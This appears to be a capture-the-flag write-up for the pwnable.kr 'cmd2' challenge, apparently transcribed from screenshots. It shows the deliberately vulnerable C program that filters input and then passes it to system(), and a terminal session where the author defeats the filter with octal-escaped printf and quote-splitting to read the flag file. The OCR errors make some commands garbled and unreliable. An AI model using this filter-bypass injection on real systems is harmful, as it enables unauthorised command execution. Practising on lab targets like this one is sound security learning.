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cmd2 - 9 pt [writeup]

Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but | wanna play anytime | want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)

<

pwned (3751) times. early 30 pwners are : [ Joon

Flag? : auth
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#include <stdio.h>
#include <string.h>

int filter(char* cmd){

int r=0;

r += strstr(cmd, "=")!=0;

r += strstr(cmd, "PATH")!=0;

r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;

r += strstr(cmd, " ")!=0;
r += strstr(cmd, "flag")!=0;
return r;

}

extern char** environ;

void delete_env(){

char** p;

for(p=environ; *p; p++) memset(*p, 0, strlen(*p));

}

int main(int argc, char* argv[], char** envp){

delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;

printf("%s\n", argv[1]);

system( argv[1l] );

return 0;
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r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "")!=0;

(cm

r += strstr(cmd, "flag")!=0;
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root@mypwn:/ctf/work/pwnable.kr# ssh cmdi@pwnable.kr -p2222
cmdl@pwnable.kr's password:
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- Site admin : daehee87@gatech.edu

- IRC : irc.netgarage.org:6667 / #pwnable.kr

- Simply type "irssi" command to join IRC now

- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue “source /usr/share/peda/peda.py” in gdb terminal
Last login: Wed Jan 1 20:20:32 2020 from 120.84.12.64
cmdl@prowl:~$ $(printf \\@57bin\\@57cat) f1""ag
/bin/cat: flag: Permission denied

cmdl@prowl:~$ printf "%d %s\n" 1 "abc"

1 abc

cmd1l@prowl:~$ $(printf "%d %s\n" 1 "abc")

1: command not found

cmdl@prowl:~$ $(printf "%s %s\n" "1s" "abc")

1s: cannot access 'abc': No such file or directory
cmd1l@prowl:~$ $(echo \\057bin\\@57cat) fl""ag
\@57bin\@57cat: command not found

cmd1l@prowl:~$ cmd2 '$(printf \\057bin\\@57cat) fl""ag'
cmd2: command not found

cmd1l@prowl:~$ ./cmd2 '$(printf \\O@57bin\\057cat) fl""ag'
-bash: ./cmd2: No such file or directory

cmdl@prowl:~$ 1s -1

total 20

-r-xr-sr-x 1 root cmdl_pwn 8513 Jul 14 2015 cmdl
-rw-r--r-- 1 root root 320 Mar 23 2018 cmdl.c
-pr--r----- 1 root cmdl_pwn 48 Jul 14 2015 flag

cmd1l@prowl:~$ exit

logout

Connection to pwnable.kr closed.

root@mypwn: /ctf/work/pwnable.kr# ssh cmd2@pwnable.kr -p2222
cmd2@pwnable.kr's password:
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- Site admin : daehee87@gatech.edu

- IRC : irc.netgarage.org:6667 / #pwnable.kr

- Simply type "irssi" command to join IRC now

- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue “source /usr/share/peda/peda.py” in gdb terminal
Last login: Wed Jan 1 20:25:56 2020 from 128.61.240.205

cmd2@prowl:~$ ./cmd2 '$(printf \\@57bin\\@57cat) fl""ag'

$(printf \\057bin\\@57cat) fl""ag
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cmd2@prowl:~$
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